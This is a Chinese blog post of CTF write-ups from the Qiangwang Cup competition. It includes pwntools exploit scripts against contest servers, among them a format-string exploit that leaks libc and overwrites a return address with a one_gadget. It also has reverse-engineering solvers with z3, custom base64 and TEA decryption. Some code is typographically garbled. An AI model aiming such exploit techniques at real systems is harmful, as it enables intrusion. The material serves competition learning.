blog.csdnimg.cn/direct/6a74993d4d5c400f97addb0adf423c03.png#pic_center)

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/b55c412bf1b94d29becf564ba78ef79b.png#pic_center)

【强网先锋】

石头剪刀布

从sklearn.naive_bayes中的MultinomialNB中看出是朴素贝叶斯分类器，用于训练模型。

​
​ from pwn import *
​
p=remote(“8.147.131.39”, 28434)

def Z():
    p.recv()
    p.sendline(b'0')
def O():
    p.recv()
    p.sendline(b'1')
def T():
    p.recv()
    p.sendline(b'2')

while True:
    Z()
    Z()
    Z()
    Z()
    Z()
    O()
    O()
    T()
    T()
    Z()
    O()
    T()
    Z()
    T()
    Z()
    T()
    O()
    Z()
    T()
    O()
    O()
    Z()
    Z()
    O()
    O()
    O()
    T()
    T()
    T()
    Z()
    Z()
    O()
    T()
    Z()
    Z()
    T()
    T()
    O()
    O()
    Z()
    O()
    T()
    Z()
    O()
    Z()
    O()
    Z()
    T()
    O()
    T()
    T()
    Z()
    T()
    O()
    Z()
    Z()
    T()
    T()
    O()
    O()
    Z()
    O()
    Z()
    O()
    T()
    Z()
    T()
    Z()
    T()
    O()
    Z()
    T()
    O()
    Z()
    Z()
    O()
    O()
    O()
    T()
    T()
    O()
    Z()
    O()
    T()
    T()
    Z()
    O()
    T()
    Z()
    O()
    T()

    # 接收服务器的响应
    b=p.recv()

    # 将响应的字节字符串解码为utf-8格式的字符串
    decoded_string4 = b.decode('utf-8')
    print(decoded_string4)

    # 向服务器发送请求
    p.sendline(b'2')
    a=p.recv()
    decoded_string = a.decode('utf-8')
    print(decoded_string)

​

Trie

题目让我想到Trie树。逆向观察后的大致思路就是利用Trie树的特性，通过发送特定的IP地址来触发服务器端的某种漏洞，然后从服务器的响应中提取出敏感信息。

根据思路调整，最后exp：

​
​ from pwn import *
​
# context.log_level = “debug”
context.terminal = [“/bin/tmux”, “sp”, “-h”]
context(arch=‘amd64’, os=‘linux’)

flag = ''

def add(sh, data):
    sh.sendlineafter("4. Quit.", "1")
    sh.sendlineafter("destination IP:", data)
    sh.sendlineafter("next hop:", data)

def show(sh, data):
    sh.sendlineafter("4. Quit.", "2")
    sh.sendlineafter("destination IP:", data)
    sh.recvuntil("The next hop is ")
    flag_part = sh.recvuntil('\n', drop=True).decode('utf-8')
    flag_part = flag_part.split('.')[::-1]
    return tostring(flag_part)

def get_flag(sh):
    sh.sendlineafter("4. Quit.", "3")

def tostring(t_flag):
    return ''.join(chr(int(i, 10)) for i in t_flag)

def padding():
    sh = remote("47.104.150.173", 1337)
    add(sh, "1.2.3.4")
    add(sh, "2.3.4.5")
    return sh

def retrieve_flag(ip):
    global flag
    sh = padding()
    add(sh, ip)
    get_flag(sh)
    flag += show(sh, ip)
    print(flag)

def main():
    ips = [
        "129.2.3.4",
        "193.2.3.4",
        "225.2.3.4",
        "241.2.3.4",
        "249.2.3.4",
        "253.2.3.4",
        "255.2.3.4",
        "254.2.3.4",
        "254.130.3.4",
        "254.194.3.4"
        ]
    for ip in ips:
        retrieve_flag(ip)

if __name__ == "__main__":
    main()

SpeedUp

我们先看一下题目：

x = ( 2 27 ) ! x=(2^{27})! x=(227)!

​
​ def f(x):
​ res = 0
​ while x:
​ res += x % 10
​ x //= 10
​ return res

意思是求2的27次方的阶乘所获得的每一位数字之和。

当时想的是直接手搓，但又不大可能，后来在网上找了好久发现在OEIS直接记录了：https://oeis.org/A244060

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/863cc8827e0d4819a8c075f19817d990.png#pic_center)

然后看他的list：

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/55f68da78bdf4129a939398f6f78ff96.png#pic_center)

​
​ import hashlib
​ n=4495662081
​ n_str = str(n)
​
# 创建一个sha256哈希对象
sha256_hash = hashlib.sha256()
# 提供要哈希的数据
sha256_hash.update(n_str.encode(‘utf-8’))
# 获取哈希值
hash_value = sha256_hash.hexdigest()
print(“flag{”+hash_value+“}”)

flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797}

ezre

一眼看到main函数：

​
​ __int64 __fastcall main(int a1, char **a2, char **a3)
​ {
​ int v3; // eax
​ unsigned int v4; // eax
​ int v5; // eax
​ size_t v6; // rax
​ int v7; // edx
​ unsigned int v8; // eax
​ int v9; // eax
​ int v10; // eax
​ int v11; // eax
​ size_t v12; // rax
​ int v13; // ecx
​ int v14; // eax
​ int v16; // [rsp+128h] [rbp-118h]
​ int v17; // [rsp+12Ch] [rbp-114h]
​ int v18; // [rsp+130h] [rbp-110h]
​ int v19; // [rsp+134h] [rbp-10Ch]
​ int v20; // [rsp+138h] [rbp-108h]
​ int v21; // [rsp+13Ch] [rbp-104h]
​ char v22[64]; // [rsp+140h] [rbp-100h] BYREF
​ char v23[64]; // [rsp+180h] [rbp-C0h] BYREF
​ char v24[64]; // [rsp+1C0h] [rbp-80h] BYREF
​ char s[52]; // [rsp+200h] [rbp-40h] BYREF
​ unsigned int v26; // [rsp+234h] [rbp-Ch]
​ size_t v27; // [rsp+238h] [rbp-8h]
​
v26 = 0;
printf(“Welcome to the CTF world:”);
memset(s, 0, 0x32uLL);
__isoc99_scanf(“%s”, s);
v27 = strlen(s);
v16 = 1111065332;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v16 == -1884415306 )
v16 = 874394363;
if ( v16 != -1610796817 )
break;
v5 = 951531691;
if ( v21 < 4 )
v5 = -123677562;
v16 = v5;
}
if ( v16 != -1571665377 )
break;
v8 = strlen(v22);
sub_401980(v22, v23, v8);
memset(v22, 0, 0x32uLL);
memcpy(v22, v23, 0x32uLL);
v16 = -1884415306;
}
if ( v16 != -1125271585 )
break;
v16 = 502592025;
}
if ( v16 != -1034568323 )
break;
++v17;
v16 = 359215778;
}
if ( v16 != -728174227 )
break;
printf(“wrong!”);
v26 = 0;
v16 = -88181297;
}
if ( v16 == -139558179 )
{
printf(“Wrong!”);
exit(-1);
}
if ( v16 != -123677562 )
break;
srand(byte_406132);
v6 = strlen((const char *)(unsigned int)byte_406130);
sub_401D10(byte_406130, v6);
v7 = 1367925527;
if ( (v21 & 1) != 0 )
v7 = -1571665377;
v16 = v7;
}
if ( v16 == -88181297 )
break;
switch ( v16 )
{
case 178472351:
sub_402EE0(byte_406130, &byte_406130[v20]);
v19 = 0;
v16 = 244862061;
break;
case 201400792:
v16 = -1034568323;
break;
case 244862061:
v10 = 1368236239;
if ( v19 < v20 )
v10 = 1736470037;
v16 = v10;
break;
case 282724921:
v4 = strlen(s);
v21 = 0;
v16 = -1610796817;
sub_401980(s, v22, v4);
break;
case 359215778:
v12 = strlen(v23);
v13 = 2026466323;
if ( v17 < v12 )
v13 = 1003071928;
v16 = v13;
break;
case 384994120:
v11 = -1125271585;
if ( v18 < v20 )
v11 = 1105882884;
v16 = v11;
break;
case 502592025:
sub_401EB0(v23, v24);
v17 = 0;
v16 = 359215778;
break;
case 728190549:
v18 = 0;
v16 = 384994120;
break;
case 874394363:
++v21;
v16 = -1610796817;
break;
case 951531691:
v9 = 728190549;
v20 = 64;
if ( dword_4062C0 == 1 )
v9 = 178472351;
v16 = v9;
break;
case 1003071928:
v14 = 201400792;
if ( byte_406180[v17] != v24[v17] )
v14 = -728174227;
v16 = v14;
break;
case 1105882884:
byte_406130[v18] ^= 0x27u;
v16 = 1837459842;
break;
case 1111065332:
v3 = 282724921;
if ( v27 != 34 )
v3 = -139558179;
v16 = v3;
break;
case 1367925527:
sub_401250(v22, v23);
memset(v22, 0, 0x32uLL);
memcpy(v22, v23, 0x32uLL);
v16 = -1884415306;
break;
case 1368236239:
v16 = 502592025;
break;
case 1558803342:
++v19;
v16 = 244862061;
break;
case 1736470037:
byte_406130[v19] = (5 * (byte_406130[v19] + 3)) ^ 0x15;
v16 = 1558803342;
break;
case 1837459842:
++v18;
v16 = 384994120;
break;
default:
printf(“right!”);
v26 = 0;
v16 = -88181297;
break;
}
}
return v26;
}

接收用户输入的字符串，并对其进行一系列复杂的操作和检查。这些操作和检查是通过一个嵌套的while循环和switch语句实现的，这个循环和语句的控制流程由一个状态变量v16控制。

在这个循环和语句中，根据v16的值，程序会执行不同的操作，包括调用一些未在这段代码中定义的函数（如sub_401980、sub_401D10等）、改变v16的值、改变其他变量的值等。

然后在这找加密方式找了好久，后来无意中发现了这个

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/cf4f4026e9534f29badb6dfae6a9ebb5.png#pic_center)

先去除平坦混淆（https://github.com/cq674350529/deflat），然后分析加密：

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/57bfb57ea4364ebb995612824119966e.png#pic_center)

先base然后异或，提取字符解：

​
​ from z3 import Solver, BitVec, sat
​
# 创建一个Solver对象
s = Solver()

# 创建一个长度为48的列表，列表中的每个元素都是一个8位的BitVec对象
# BitVec对象的名称是它们在列表中的索引
needdd = [BitVec("%d" % i, 8) for i in range(48)]

# 给定字节列表
cmp = [
    0x3A, 0x2C, 0x4B, 0x51, 0x68, 0x46, 0x59, 0x63, 0x24, 0x04, 0x5E, 0x5F,
    0x00, 0x0C, 0x2B, 0x03, 0x29, 0x5C, 0x74, 0x70, 0x6A, 0x62, 0x7F, 0x3D,
    0x2C, 0x4E, 0x6F, 0x13, 0x06, 0x0D, 0x06, 0x0C, 0x4D, 0x56, 0x0F, 0x28,
    0x4D, 0x51, 0x76, 0x70, 0x2B, 0x05, 0x51, 0x68, 0x48, 0x55, 0x24, 0x19
]

# 生成异或值列表
table = [
    0x53, 0x46, 0x4E, 0x72, 0x49, 0x42, 0x6D, 0x6E, 0x4F, 0x4C, 0x10, 0x56,
    0x74, 0x7E, 0x62, 0x4D, 0x63, 0x16, 0x6C, 0x4A, 0x1E
]

# 初始化变量v7
v7 = 2023

for i in range(47):
    # 根据i的值，使用不同的方式更新v7，并从table中取出一个值与needdd[i]进行异或操作
    if i % 3 == 1:
        v7 = (v7 + 5) % 20
        v3 = table[v7 + 1]
    elif i % 3 == 2:
        v7 = (v7 + 7) % 19
        v3 = table[v7 + 2]
    else:
        v7 = (v7 + 3) % 17
        v3 = table[v7 + 3]
    
    # 将needdd[i]与v3进行异或操作，并将结果存回needdd[i]
    needdd[i] = needdd[i] ^ v3
    
    # 将needdd[i]的值存储在v4中
    v4 = needdd[i]
    
    i += 1
    
    # v4与下一个needdd[i]进行异或操作，并将结果存回needdd[i]
    needdd[i] = v4 ^ needdd[i]

# 为Solver添加约束条件，即needdd列表中的每个元素都必须与cmp列表中对应的元素相等
for i in range(48):
    s.add(cmp[i] == needdd[i])

# 检查是否存在满足所有约束条件的解
if s.check() == sat:
    # 如果存在解则输出
    model = s.model()
    print(model)

输出：

​
​ [26 = 76,
​ 8 = 87,
​ 0 = 87,
​ 33 = 82,
​ 34 = 55,
​ 44 = 110,
​ 42 = 68,
​ 2 = 113,
​ 12 = 79,
​ 3 = 83,
​ 16 = 102,
​ 28 = 107,
​ 38 = 55,
​ 14 = 105,
​ 27 = 108,
​ 29 = 69,
​ 22 = 83,
​ 9 = 66,
​ 43 = 71,
​ 11 = 108,
​ 1 = 90,
​ 25 = 116,
​ 19 = 106,
​ 24 = 115,
​ 4 = 87,
​ 18 = 97,
​ 20 = 87,
​ 31 = 70,
​ 45 = 112,
​ 32 = 87,
​ 46 = 61,
​ 30 = 102,
​ 13 = 114,
​ 17 = 99,
​ 10 = 76,
​ 36 = 47,
​ 15 = 69,
​ 21 = 66,
​ 7 = 116,
​ 23 = 82,
​ 39 = 100,
​ 35 = 106,
​ 5 = 99,
​ 47 = 61,
​ 40 = 77,
​ 41 = 67,
​ 37 = 82,
​ 6 = 85]

变异base64按顺序加解密：

​
​ l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr
​
FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8

Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA

pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a

plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6

解密：

​
​ import base64
​
def custom_b64decode(s, custom_alphabet):
standard_alphabet = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/’
# 创建一个翻译表
translation_table = str.maketrans(custom_alphabet, standard_alphabet)
# 将自定义base64编码的字符串翻译成标准base64编码的字符串
standard_b64encoded = s.translate(translation_table)
# 添加必要的填充字符
padding_needed = 4 - len(standard_b64encoded) % 4
if padding_needed:
standard_b64encoded += ‘=’ * padding_needed
# 解码标准base64编码的字符串
return base64.b64decode(standard_b64encoded)

# 自定义的base64 Alphabet
custom_alphabet = 'l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr'
# 要解密的密文
encoded_string = 'B6gtBdq8BGN1VX+yIdECBGt9a8N1TyIvB9hCo9hDA543uc'

# 解密操作
decoded_bytes = custom_b64decode(encoded_string, custom_alphabet)

decoded_string = decoded_bytes.decode('utf-8')
print(decoded_string)

flag{3ea590ccwxehg715264fzxnzepqz}

ez_fmt

给定了输入的堆栈地址和格式化字符串漏洞，我们可以修改任何地址。但是，程序执行完毕后，w会被设置为0，这使得下一次利用变得更加困难。因此，我们需要在w被设置为0之前进行操作。

我们可以修改printf的返回地址。同时，由于printf函数需要堆栈对齐，所以返回地址应该被设置为0x4011ED。此外，我们还需要泄露出libc地址，以便进行第二次利用，将函数的返回地址修改为one_gadget。

​
​ from pwn import *
​
# 设置pwntools的上下文环境为Linux amd64
context(os=‘linux’, arch=‘amd64’, log_level=‘debug’)

#p = process('./ez_fmt')
p = remote('47.104.24.40', 1337)

# 加载本地的二进制文件和libc文件
elf = ELF('./ez_fmt')
libc = ELF('./libc-2.31.so')

# 接收直到遇到"0x"，然后读取12个字符，转换为栈地址
p.recvuntil("0x")
stack=int(p.recv(12),16)
print(hex(stack))

# 构造payload，用于修改栈上的值
pay=b'%4589c%11$hn%19$p'.ljust(0x28,b'\x00')+p64(stack-8)
p.send(pay)

# 再次接收直到"0x"，读取12个字符，计算libc基地址
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['__libc_start_main']-243
print(hex(libc_base))

# 计算one_gadget的地址
one_gadget=libc_base+0xe3b01
p.recvuntil("\n")

# 计算one_gadget的低16位
one_gadget_low = one_gadget&0xffff
# 计算one_gadget的高16位
one_gadget_high = (one_gadget>>16)&0xffff

# 构造格式化字符串，用于写入one_gadget的低16位
fmt_low = b'%'+str(one_gadget_low).encode()+b'c%10$hn'
# 构造格式化字符串，用于写入one_gadget的高16位
fmt_high = b'%'+str(((one_gadget>>16)&0xffff)-(one_gadget_low)).encode()+b'c%11$hn'

# 将两个格式化字符串连接起来，然后用'\x00'填充到0x20字节
fmt_str = (fmt_low+fmt_high).ljust(0x20,b'\x00')

# 计算要写入的内存地址
addr_low = p64(stack+0x68)
addr_high = p64(stack+0x68 + 2)

# 构造最终payload
pay=fmt_str+addr_low+addr_high
p.send(pay)

p.interactive()

Babyre

发现有TLS

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/63dea14168884611a13e1e02270234e3.png#pic_center)

​
​ __int64 __fastcall TlsCallback_1_0(__int64 a1, char a2)
​ {
​ __int64 v2; // rcx
​ struct _PEB *v3; // rax
​ __int64 result; // rax
​ int i; // [rsp+44h] [rbp+24h]
​
sub_14001138E(&unk_1400240F4);
v3 = NtCurrentPeb();
LOBYTE(v3) = v3->BeingDebugged;
if ( (_BYTE)v3 == 1 )
{
LOBYTE(v2) = v3->BeingDebugged;
sub_140011AE0(v2);
}
result = a2 & 1;
if ( (a2 & 1) != 0 )
{
for ( i = 0; i < 32; ++i )
{
*((_BYTE *)off_14001E060 + i + 1) ^= i;
result = (unsigned int)(i + 1);
}
}
return result;
}

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/d486ff2244614d0b880b838f14103ead.png#pic_center)

​
​ __int64 sub_140012050()
​ {
​ char *v0; // rdi
​ __int64 i; // rcx
​ char v3[32]; // [rsp+0h] [rbp-20h] BYREF
​ char v4; // [rsp+20h] [rbp+0h] BYREF
​ _DWORD v5[15]; // [rsp+28h] [rbp+8h] BYREF
​ int j; // [rsp+64h] [rbp+44h]
​ int k; // [rsp+84h] [rbp+64h]
​
v0 = &v4;
for ( i = 34i64; i; --i )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}
sub_14001138E((__int64)&unk_1400240F4);
sub_1400111A9((__int64)&unk_14001AD78);
sub_14001123F(aPleaseInputYou);
std::istream::getline(std::cin, Str, 33i64);
if ( j_strlen(Str) == 32 )
{
memset(v5, 0, 0x20ui64);
sub_140011019((__int64)v5, (__int64)Str);
for ( j = 0; j < 4; ++j )
sub_14001106E(&v5[2 * j], &v5[2 * j + 1]);
sub_140011087((__int64)v5, (__int64)byte_14001E218);
for ( k = 0; k < 32; ++k )
{
if ( byte_14001E040[k] != byte_14001E218[k] )
{
sub_14001123F(aNoNoNo);
sub_1400111A9((__int64)“%d”);
goto LABEL_15;
}
}
sub_14001123F(aYes);
}
else
{
sub_1400111A9((__int64)“Wrong Length!”);
}
LABEL_15:
sub_140011325(v3, &unk_14001AD30);
return 0i64;
}

最后exp：

​
​ #include<stdio.h>
​ #include<stdint.h>
​
// 定义解密函数，使用TEA算法的变种进行解密
void decrypt(uint32_t v[2], uint32_t const key[4])
{
unsigned int i,j;
// 初始化变量，v0和v1为要解密的数据，delta为一个常数，sum为解密过程中使用的累加变量
uint32_t v0=v[0], v1=v[1], delta=0x88408067, sum=0xd192c263;
// 进行32轮解密操作
for(i=0;i<4;i++)
{
for(j=0;j<33;j++)
{
// 每轮解密中减去delta更新sum值
sum-=delta;
// 根据TEA算法变种进行解密的核心步骤
v1-=(((v0<<5)(v0>>4))+v0)(sum+key[(sum>>11)&3]);
v0-=(((v1<<5)(v1>>4))+v1)(sum+key[sum&3])^sum;
}
}
// 将解密后的数据写回原数组
v[0]=v0;
v[1]=v1;
}

int main()
{
    // 初始化要解密的数据数组
    uint32_t array[8]={0x9523F2E0, 0x8ED8C293, 0x8668C393, 0xDDF250BC, 0x510E4499, 0x8C60BD44, 0x34DCABF2, 0xC10FD260};
    // 初始化密钥
    uint32_t key[4]={0x62, 0x6F, 0x6D, 0x62};
    // 循环解密数组中的每对数据
    for(int i=0;i<8;i+=2)
    {
        uint32_t temp[2];
        // 取出一对数据
        temp[0]=array[i];
        temp[1]=array[i + 1];
        // 调用解密函数
        decrypt(temp, key);
        // 打印解密后的数据，每个uint32_t解密后为4个字符
        printf("%c%c%c%c%c%c%c%c",
            (char)(temp[0] >> 0), (char)(temp[0] >> 8), 
            (char)(temp[0] >> 16), (char)(temp[0] >> 24),
            (char)(temp[1] >> 0), (char)(temp[1] >> 8), 
            (char)(temp[1] >> 16), (char)(temp[1] >> 24));
    }
    return 0;
}

flag{W31com3_2_Th3_QwbS7_4nd_H4v3_Fun}

最后

从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。

因为入门学习阶段知识点比较杂，所以我讲得比较笼统，大家如果有不懂的地方可以找我咨询，我保证知无不言言无不尽，需要相关资料也可以找我要，我的网盘里一大堆资料都在吃灰呢。

干货主要有：

①1000+CTF历届题库（主流和经典的应该都有了）

②CTF技术文档（最全中文版）

③项目源码（四五十个有趣且经典的练手项目及源码）

④ CTF大赛、web安全、渗透测试方面的视频（适合小白学习）

⑤ 网络安全学习路线图（告别不入流的学习）

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

扫码领取

heike_沧海
关注
  • 21
    点赞
  • 踩
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
强网杯ctf pwn&re writeup （部分）
这里没人
06-04 7102
打了2天的强网杯，虽然一度冲进了前10。可惜最后的时候还是掉出了20名。最后只能无奈打出GG。其中的原因有很多，也不想多说了。 逆向溢出题3连发。我就只会那么多了Orz 先来一道re200 kergen 发送24位的字符串，主要是400B56处的检验函数。检验方法是这样的先是发送字符的第1 10 7 11 2 13 16 17位，中间插入43917202。然后MD5，然后转化成32位字符串形
【天格】战队-已解出题目附件-第六届“强网杯”全国网络安全挑战赛
08-01
【天格】战队在第六届“强网杯”全国网络安全挑战赛中展现出卓越的技能和深入的理解，这是一场集技术、策略与团队协作于一体的顶级赛事。挑战赛中的解题附件揭示了网络安全领域的多个关键知识点，涵盖了逆向工程、...
第五届强网杯全国网络安全挑战赛writeup
渗透测试研究中心
12-23 8174
Web1.[强网先锋]寻宝下发赛题，访问链接如下：该题需要你通过信息 1 和信息 2 分别获取两段 Key 值，输入 Key1 和 Key2 然后解密。Key1之代码审计点击“信息1”，发现是代码审计：完整源码如下：<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);highlight_file(__...
强网杯强网先锋 侧防writeup
lhk124的博客
08-25 244
""" 正向思路： 1.输入进行异或计算 input[v4] = (input[v4] ^ byte_55F2B6F4A010[(unsigned int)v4 % 7]) + 65; 2.调换顺序：每4个从第4个往回存，调整存放位置。向左移动，第1个到第2个的位置，第4个到第1个的位置。 3.作比较。 """ # 直接手动修改位置 l2 = [ord(c) for c in r"x|dLUweTIvN\CBOhqDNLW}IfFZCmiyxt\PWOebD^"] for i .
2021强网杯全国网络安全挑战赛Writeup
道阻且长，行则将至。
06-20 7604
文章目录前言强网先锋-赌徒PHP的魔术方法题目POP链构造强网先锋-寻宝Key1之代码审计Key2之脚本搜索 前言 上周末端午假期期间（6月12日9:00至6月13日21:00）参与了为期 36h 的第五届强网杯网络安全竞赛，不得不说题目比去年难多了，两天下来腰酸背痛脑壳疼……比赛的数据大致如下： 幸运的是最终在实力傍队友的情况下，又一年获得竞赛前 10% 有效排名的 “强网先锋” 称号，在此记录下比赛的 Writeup。 强网先锋-赌徒 1、下发赛题，访问地址如下： 2、结合题目源码提醒，利用 dir
第二届强网杯 Writeup
柠檬木有枝
10-21 833
Web签到 提交 param1 ，param2 两个参数，总共三关，考察 php 弱类型，和极客大挑战的题目一样 第一关： 标准弱类型，两个0e开头md5绕过： param1=QNKCDZO&amp;param2=240610708 或者数组绕过 param1[]=a&amp;param2[]=b 第二关： 依旧数组绕过： param1[]=a&amp;param2[]=b 第三关： ...
2021强网杯Writeup--by Nu1L Team.pdf
06-15
第五届“强网杯”全国网络安全挑战赛
CTF - 第二届“陇剑杯”网络安全大赛线上赛部分write up
08-26
CTF-第二届“陇剑杯”网络安全大赛线上赛部分write up 本篇文章将围绕第二届“陇剑杯”网络安全大赛线上赛的 Write-up 进行详细的讲解，从中可以学到许多实用的网络安全知识。 首先，我们来看一下第一个题目，黑客...
2018第二届强网杯线上赛ctf web writeup（难度较大）-b64_c3VuJTIwYm95-it720.docx
11-29
在2018年的第二届强网杯线上赛中，存在一系列难度较大的Web题目，这些题目主要测试参赛者的Web安全技能，包括但不限于密码学、SQL注入、XSS攻击、CSRF漏洞等。 首先，第一层绕过机制涉及到字符串比较和MD5哈希。...
智能网联汽车 天融信杯 信息安全攻防赛 2023 CTF真题
07-14
智能网联汽车 天融信杯 信息安全攻防赛 2023 CTF真题
2018强网杯CTF-题目整理-校本图片Readme.zip
12-18
2018强网杯CTF___题目整理 │ ├── 01Misc-4题 │ ├── 题目名称：ai-nimals │ │ └── 题目名称：ai-nimals.mhtml │ ├── 题目名称：welcome │ │ └── 题目名称：welcome.mhtml │ ├── 题目名称：...
第四届“强网”拟态防御国际精英挑战赛.zip
12-07
拟态防御 CTF 国际精英挑战赛
Codefest'2019 CTF writeup-b64_c3VuJTIwYm95.docx
11-29
Codefest'2019 CTF writeup 是一篇关于网络安全竞赛的总结，主要涉及的是在Codefest'19夺旗比赛中的几个挑战解决方案。CTF（Capture The Flag）是一种流行的安全竞赛，参赛者通过解决各种安全相关的谜题来获取“旗帜...
“强网杯”全国网络安全挑战赛决出24强.pdf
09-20
"强网杯"全国网络安全挑战赛正是为了提升网络安全保障能力和水平而设立的国家级赛事。它旨在通过竞技方式培养网络安全人才，增强全民的网络空间安全意识。此外，中国信息安全测评中心颁发的信息安全服务资质是对网络...
2024年第十七届全国大学生信息安全竞赛创新实践能力赛初赛部分Writeup
最新发布
05-27
2024年第十七届全国大学生信息安全竞赛创新实践能力赛初赛部分Writeup解析部分题目
[ CTF ]【天格】战队WriteUp-第六届“强网杯”全国安全挑战赛（初赛）
ZXW_NUDT的博客
08-01 3705
第六届“强网杯”全国网络安全挑战赛
[第四届-强网杯]：upload
Keepb1ue的博客
08-24 4300
下载附件，是一个解压后是一个数据包，wireshark打开分析，很明显，这是一个文件上传的数据包，分析数据包内容： 很明显，是一个文件上传的数据包。 接着看看他到底上传了什么数据： 很明显，是上传了一张steghide.jpg的图片 那我们可以尝试着在数据包中将图片还原出来在上传图片的数据包中。 指定上传流量的会话，显示和保存的数据改为原始数据，然后将其保存为：steghide.jpg 接着利用WinHex从保存的原始文件中将上传的图片还原出来。 将之前保存的steghide.bin用WinHex打
2020强网杯babynotes题wp
sln_1550的博客
08-27 530
漏洞点1，删除note时索引可以输入负值： 配合下面的数据结构，可以free掉buf_motto和buf_name的指针： 漏洞点2，注册用户时输入name为24个字节时会把age通过strcpy附上，造成offbyone类似的效果： 思路就是先通过删除-1和-2两个note来泄露heap和libc基址，然后通过fastbin攻击修改malloc_hook，realloc_hook来完成getshell 具体exp如下： #coding:utf8 from PwnContext import * #
2021强网杯网络安全挑战赛Nu1L Team Writeup分析
"2021强网杯Writeup--by Nu1L Team.pdf" 是一份关于第五届“强网杯”全国网络安全挑战赛的赛后分析报告，由Nu1L团队编写。报告涵盖了多个网络安全领域的挑战，包括CTF（Capture The Flag）竞赛、网络安全和信息安全...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值